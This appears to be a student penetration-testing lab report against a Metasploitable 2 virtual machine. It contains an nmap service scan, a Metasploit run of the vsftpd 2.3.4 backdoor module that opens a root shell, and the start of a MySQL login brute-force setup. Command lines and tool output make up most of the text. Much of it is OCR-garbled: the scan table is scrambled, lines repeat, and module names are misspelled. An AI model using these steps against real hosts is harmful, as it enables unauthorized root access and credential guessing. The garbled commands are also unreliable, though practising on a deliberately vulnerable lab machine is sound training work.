

Target: - 192.168.160.42

Nmap scan (service and version detection):

Command: nmap -sS -sV 192.168.160.42

· -sS: SYN Scan

• -sv : Service and version detection

```
## sudo nmap -sS -sV 192.168.160.42

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 13:44 IST

Nmap scan report for 192.168.160.42

Host is up (0.011s latency).
  ot shown: 977 closed tcp ports (reset)
               STATE SERVICE
                                             VERSION
                                             vsftpd 2.3.4
                                             OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
                                        Linux telnetd
Postfix smtpd
  3/tcp open telnet
           open smtp
  5/tcp
           open domain
                                             ISC BIND 9.4.2
B0/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 12/tcp open exec
                                             netkit-rsh rexecd
 513/tcp open login
                                             Netapp ONTAP rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
                                             2-4 (RPC #100003)
ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
2049/tcp open nfs
2121/tcp open ftp
 3306/tcp open mysql
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd
6667/tcp open irc
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.97 seconds
```

Fig 1 Nmap scan of 192.168.160.42

1.VSFTPD (VSFTPD v2.3.4 Backdoor Command Execution)

Fig 2 msfconsole, search command

```
Description:
This module exploits a malicious backdoor that was added to the
VSFTPD download archive. This backdoor was introduced into the
VSFTPD download archive. This backdoor was introduced into the
VSFTPD download archive. This backdoor was introduced into the
VSFTPD download archive. This backdoor
was removed on July jard 2011.

References:

SCYDB (73573)
http://pastebin.com/AetT955
http://pastebin.com/AetT955
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

View the full module info with the info -d command.

msf6 exploit(unis/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unis/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

RHOSTS
yes The target port (TCP)

Payload options (cmd/unis/interact):

Name Current Setting Required Description

Exploit target:

Id Name
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unis/ftp/vsftpd_234_backdoor) > msf6 exploit(unis/ftp/vsftpd_234_b
```

Fig 3 options ommand

Fig 4 use command Metasploitable 2

```
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHO
RHOST ⇒ 192.168.160.42
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
                                           //vsftpd_234_backdoor) >
/vsftpd_234_backdoor) > set RHOST 192.168.160.42
[-] 192.168.160.42:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.160.42:21) timed out.

[*] Exploit completed, but no session was created.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.198.42

RHOST = 192.168.198.42

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

    192.168.198.42:21 - Banner: 220 (vsFTPd 2.3.4)
    192.168.198.42:21 - USER: 331 Please specify the password.
    192.168.198.42:21 - Backdoor service has been spawned, handling...
    192.168.198.42:21 - UID: uid=0(root) gid=0(root)

 [*] Found shell.
[*] Command shell session 1 opened (192.168.92.128:42153 → 192.168.198.42:6200) at 2023-04-10 17:11:39 +0530
 ls
bin
boot
 cdrom
 dev
etc
 home
 initrd.img
 lib
lost+found
 media
 mnt
nohup.out
 opt
 proc
root
 sbin
 sys
tmp
usr
 var
vmlinuz
```

Fig 5 Exploiting the Metasploitable 2

2. MYSQL

```
| Msf::OptionValidateError The following options failed to validate: RHOSTS
| Msf::OptionValidateError The following options failed to validate: RHOSTS
| Msf::OptionValidateError The following options failed to validate: RHOSTS
| Msf::OptionValidateError The following options failed to validate: RHOSTS
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| Msf::OptionValidateError The following options failed to validate: RHOSTS
| Msf::OptionValidateError The following options failed to validate: RHOSTS
| Msc::OptionValidateError The following options failed to validate: RHOSTS
| Msc::OptionValidateError The following options failed to validate: RHOSTS
| Msc::OptionValidateError The following option options failed to validate: RHOSTS
| Msc::OptionValidateError The following option options failed to validate: RHOSTS | Msc::Option option option option option options failed to validate:
```

Fig 6 exploiting Metasploitable 2 Databases

```
View the full module info with the info, or info -d command.

MSEE auxiliary(scamer/mysel/mysel/mysellogin) > info

Name: MySQL login Utility
Module: auxiliary/scamer/mysel/mysellogin
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Bernardo Damele A. G. <br/>
Bernardo Damele A. G. <br/>
Check supported:
No

Basic options:

BLANK_PASSWORDS

BRITEFORKE_SPEED 5

DR_ALL_USERS

BRITEFORKE_SPEED 5

DR_ALL_USERS

DR_
```

Fig 7 exploiting Metasploitable 2 Databases

```
msf6 auxiliary(:cammar/mysql/mysql_login) > set PASS_FILE /root/Desktop/username.txt
PASS_FILE > /root/Desktop/username.txt
USER_FILE >
```

Fig 8 exploiting Metasploitable 2 Databases